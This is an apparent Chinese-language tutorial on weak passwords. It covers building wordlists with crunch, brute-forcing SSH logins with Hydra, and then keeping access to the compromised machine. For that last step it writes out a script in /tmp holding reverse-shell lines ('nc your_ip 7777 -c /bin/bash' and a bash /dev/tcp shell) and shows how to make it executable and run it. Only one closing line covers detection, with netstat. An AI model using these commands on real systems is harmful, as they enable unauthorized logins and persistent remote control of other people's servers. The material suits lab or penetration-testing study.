弱密钥以及常用爆破- 字典生成和SSH爆破
弱密钥以及常用爆破- 字典生成和SSH爆破
crunch字典生成
crunch
的基本语法如下:
crunch [最小长度] [最大长度] [字符集] [选项]
常见选项
-o
或--output
: 指定输出文件。-f
或--charset-file
: 指定字符集文件。-t
或--pattern
: 使用模式生成字典。-s
或--start
: 指定起始字符串。-e
或--end
: 指定结束字符串。-z
或--compress
: 压缩输出文件(支持 gzip、bzip2、lzma)。
#生成所有长度为 4 的数字组合
crunch 4 4 0123456789
#生成所有长度为 6 的大写字母和数字组合
crunch 6 6 ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
#生成所有长度为 8 的小写字母和数字组合,并输出到文件
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o output.txt
#使用模式生成字典
crunch 8 8 -t @@@@,@@,@@
#指定起始和结束字符串
crunch 4 4 0123456789 -s 1234 -e 567
说明一下这个模式生成:crunch 使用 -t 或 --pattern 参数来指定模式。
@: 小写字母 (abcdefghijklmnopqrstuvwxyz)
,: 数字 (0123456789)
%: 大写字母 (ABCDEFGHIJKLMNOPQRSTUVWXYZ)
^: 符号 (!@#$%^&*()-_=+[]{}|;:,.<>?/)
**#### **
Hydra实现爆破
基本用法:
hydra -l <username> -P <password_file> <target> <protocol>
基本参数:
-l 指定用户名 -p 指定密码 -L 指定用户字典 -P 指定密码字典 -e n null,表示尝试空密码 s same,把用户名本身当做密码进行尝试 r反向,把用户名倒叙,当做密码进行尝试 -vV 显示执行细节 -o 保存执行结果 -s 指定非默认端口 -C 指定所有格式为“user:password”的字典文件 -M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
ssh爆破及基本思路
# -L -P 是跟着文件---脚本会自动去找相应目录下的文件
# 如果只有一个的话,使用-l -p 小写
hydra -L users.txt -P password.txt ssh://ip
比如说我这里做一个示例
大部分会做一个这个 SSH 连接的尝试次数的限制
可以使用这个-t参数来限制请求次数
比如说我们这里成功地爆出来密码的话
- 通过终端连接
一般是有一个验证,输入yes进入指纹确定页面
这样就进入这个shell界面了
- 通过shell软件连接
然后就是我们可以做一个这个隐藏任务
就是为了维持权限,
当靶机修改密码或关机后,我们使用爆破出来的密码就无济于事了
cd /tmp
vim sbx.sh
--->
#!/bin/bash
nc your_ip 7777 -c /bin/bash
#!/bin/bash
bash -i >& /dev/tcp/your_ip/7777 0>&1
保存之后,这个文件是没有这个执行权限的
chmod +x sbx.sh
./sbx.sh
在主机开启监听就行:
我们如果是被攻击方的话通过:
netstat -antpl
是可以检查到相应外部连接和利用的